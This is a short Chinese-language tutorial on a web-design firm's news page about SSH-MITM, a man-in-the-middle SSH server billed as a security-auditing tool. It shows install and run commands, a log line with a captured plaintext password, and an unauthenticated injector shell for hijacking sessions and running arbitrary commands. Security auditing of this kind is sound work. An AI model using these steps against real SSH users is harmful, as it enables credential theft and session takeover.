建站
咨詢
售后
建站咨詢
新聞中心
這篇文章給大家分享的是有關(guān)SSH-MITM是什么工具的內(nèi)容。小編覺得挺實用的，因此分享給大家做個參考，一起跟隨小編過來看看吧。
成都創(chuàng)新互聯(lián)專注于企業(yè)網(wǎng)絡(luò)營銷推廣、網(wǎng)站重做改版、門源網(wǎng)站定制設(shè)計、自適應(yīng)品牌網(wǎng)站建設(shè)、html5、商城開發(fā)、集團公司官網(wǎng)建設(shè)、成都外貿(mào)網(wǎng)站建設(shè)、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁設(shè)計等建站業(yè)務(wù)，價格優(yōu)惠性價比高，為門源等各大城市提供網(wǎng)站開發(fā)制作服務(wù)。
SSH-MITM-攔截SSH流量
SSH-MITM服務(wù)器專為安全審計而設(shè)計，支持公鑰認證、會話劫持和文件篡改等功能。需要注意的是，該工具基于Python語言開發(fā)，因此需要在主機設(shè)備上安裝并配置好Python環(huán)境。
SSH-MITM安裝
在使用任何軟件包之前，我們都需要進行正確的安裝。如需安裝SSH-MITM，我們只需要在設(shè)備上打開命令行終端，然后運行下列命令即可：
$ pip install ssh-mitm
工具使用
SSH-MITM的使用非常簡單，如果需要密碼認證或會話劫持，只需要開啟攔截MITM-SSH服務(wù)器即可。打開命令行終端，然后運行下列命令:
$ ssh-mitm --remote-host 192.168.0.x
接下來，我們嘗試跟SSH-MITM服務(wù)器建立連接。SSH-MITM服務(wù)器會監(jiān)聽10022端口：
$ ssh -p 10022 user@proxyserver
此時，我們將會看到憑證信息在日志中輸出：
2021-01-01 11:38:26,098 [INFO] Client connection established with parameters: Remote Address: 192.168.0.x Port: 22 Username: user Password: supersecret Key: None Agent: None
會話劫持
獲取明文憑證信息僅僅只是SSH-MITM的其中一個功能而已，當客戶端成功連接之后，SSH-MITM會開啟一個新的服務(wù)器，并用于會話劫持：
2021-01-01 11:42:43,699 [INFO] created injector shell on port 34463. connect with: ssh -p 34463 127.0.0.1
在劫持會話的時候，我們可以選擇自己喜歡的SSH客戶端。需要注意的是，這個連接不需要任何身份驗證：
$ ssh -p 34463 127.0.0.1
建立連接之后，你的會話只會通過最新的響應(yīng)信息來更新，但是我們?nèi)匀豢梢詧?zhí)行任意命令。
接下來，我們就可以在劫持的會話或原始會話中嘗試執(zhí)行某些命令了。
命令的執(zhí)行結(jié)果將輸出顯示在兩個會話中。
感謝各位的閱讀！關(guān)于“SSH-MITM是什么工具”這篇文章就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，讓大家可以學到更多知識，如果覺得文章不錯，可以把它分享出去讓更多的人看到吧！
網(wǎng)頁名稱：SSH-MITM是什么工具
標題鏈接：http://www.dlmjj.cn/article/jghsej.html
